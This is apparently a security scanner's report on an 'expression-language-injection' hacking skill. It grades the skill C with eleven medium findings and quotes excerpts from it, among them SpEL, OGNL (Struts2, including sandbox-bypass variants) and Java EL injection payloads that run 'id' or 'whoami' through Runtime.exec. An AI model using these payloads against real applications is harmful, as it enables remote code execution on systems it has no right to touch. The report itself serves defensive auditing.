expression-language-injection
github.com/yaklang/hack-skills
Scanned Thu, 28 May 2026 17:26:33 GMT
Scan ID crawl-fifu5llblpmx8ievm26bas3u · 2ms
C
SCORE 55 / 100
Verdict: Proceed with caution
11 medium findings.
This skill spawns subprocesses outside its declared capabilities plus 10 other issues listed below.
0 critical0 high11 medium1 rules passed
Why grade C?
score · 55 / 100The current grade reflects 11 medium findings (6+ MEDs → C).
0 CRIT0 HIGH11 MED0 LOW
To reach a higher grade
- BReach Btarget score 75
Resolve 6 of 11 MED (cap is 5).
- AReach Atarget score 95
Resolve 9 of 11 MED (cap is 2).
Thresholds are documented at /docs/grading. Source-of-truth is the grade() function in @skillox/scanner.
Findings · ordered by severity
medArbitrary subprocess execution detectedThe skill spawns subprocesses. Without a capability manifest declaring this, the skill could execute arbitrary commands.▾
Arbitrary subprocess execution detected
The skill spawns subprocesses. Without a capability manifest declaring this, the skill could execute arbitrary commands.
51
52```java
53${T(java.lang.Runtime).getRuntime().exec("id")}← spawns a subprocess outside declared capabilities
54```
55
medArbitrary subprocess execution detectedThe skill spawns subprocesses. Without a capability manifest declaring this, the skill could execute arbitrary commands.▾
Arbitrary subprocess execution detected
The skill spawns subprocesses. Without a capability manifest declaring this, the skill could execute arbitrary commands.
57
58```java
59${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec("id").getInputStream())}← spawns a subprocess outside declared capabilities
60```
61
medArbitrary subprocess execution detectedThe skill spawns subprocesses. Without a capability manifest declaring this, the skill could execute arbitrary commands.▾
Arbitrary subprocess execution detected
The skill spawns subprocesses. Without a capability manifest declaring this, the skill could execute arbitrary commands.
63
64```java
65#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec('whoami').getInputStream()))}← spawns a subprocess outside declared capabilities
66```
67
medArbitrary subprocess execution detectedThe skill spawns subprocesses. Without a capability manifest declaring this, the skill could execute arbitrary commands.▾
Arbitrary subprocess execution detected
The skill spawns subprocesses. Without a capability manifest declaring this, the skill could execute arbitrary commands.
86 "args": {
87 "name": "Result",
88 "value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec('whoami').getInputStream()))}"← spawns a subprocess outside declared capabilities
89 }
90 }],
medArbitrary subprocess execution detectedThe skill spawns subprocesses. Without a capability manifest declaring this, the skill could execute arbitrary commands.▾
Arbitrary subprocess execution detected
The skill spawns subprocesses. Without a capability manifest declaring this, the skill could execute arbitrary commands.
127
128```
129%{(#cmd='id').(#rt=@java.lang.Runtime@getRuntime()).(#rt.exec(#cmd))}← spawns a subprocess outside declared capabilities
130```
131
medArbitrary subprocess execution detectedThe skill spawns subprocesses. Without a capability manifest declaring this, the skill could execute arbitrary commands.▾
Arbitrary subprocess execution detected
The skill spawns subprocesses. Without a capability manifest declaring this, the skill could execute arbitrary commands.
143
144```
145%{(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.excludedClasses.clear()).(#ognlUtil.excludedPackageNames.clear()).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(#cmd='id').(#rt=@java.lang.Runtime@getRuntime().exec(#cmd))}← spawns a subprocess outside declared capabilities
146```
147
medArbitrary subprocess execution detectedThe skill spawns subprocesses. Without a capability manifest declaring this, the skill could execute arbitrary commands.▾
Arbitrary subprocess execution detected
The skill spawns subprocesses. Without a capability manifest declaring this, the skill could execute arbitrary commands.
184```java
185// Java EL with Runtime:
186${Runtime.getRuntime().exec("id")}← spawns a subprocess outside declared capabilities
187
188// Via pageContext (JSP):
medArbitrary subprocess execution detectedThe skill spawns subprocesses. Without a capability manifest declaring this, the skill could execute arbitrary commands.▾
Arbitrary subprocess execution detected
The skill spawns subprocesses. Without a capability manifest declaring this, the skill could execute arbitrary commands.
224```text
225# SpEL RCE:
226${T(java.lang.Runtime).getRuntime().exec("id")}← spawns a subprocess outside declared capabilities
227
228# OGNL RCE (Struts2):
medArbitrary subprocess execution detectedThe skill spawns subprocesses. Without a capability manifest declaring this, the skill could execute arbitrary commands.▾
Arbitrary subprocess execution detected
The skill spawns subprocesses. Without a capability manifest declaring this, the skill could execute arbitrary commands.
227
228# OGNL RCE (Struts2):
229%{(#rt=@java.lang.Runtime@getRuntime()).(#rt.exec('id'))}← spawns a subprocess outside declared capabilities
230
231# OGNL with sandbox bypass:
medArbitrary subprocess execution detectedThe skill spawns subprocesses. Without a capability manifest declaring this, the skill could execute arbitrary commands.▾
Arbitrary subprocess execution detected
The skill spawns subprocesses. Without a capability manifest declaring this, the skill could execute arbitrary commands.
230
231# OGNL with sandbox bypass:
232%{(#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#rt=@java.lang.Runtime@getRuntime()).(#rt.exec('id'))}← spawns a subprocess outside declared capabilities
233
234# Java EL RCE:
medNo capability manifest declaredThe skill ships without a `manifest.yaml` or `capabilities` block in its frontmatter. Without a manifest, the runtime cannot enforce what this skill is permitted to do.rule: no-manifest▾
No capability manifest declared
The skill ships without a `manifest.yaml` or `capabilities` block in its frontmatter. Without a manifest, the runtime cannot enforce what this skill is permitted to do.
rule:
no-manifestskillox.io/r/crawl-fifu5llblpmx8ievm26bas3u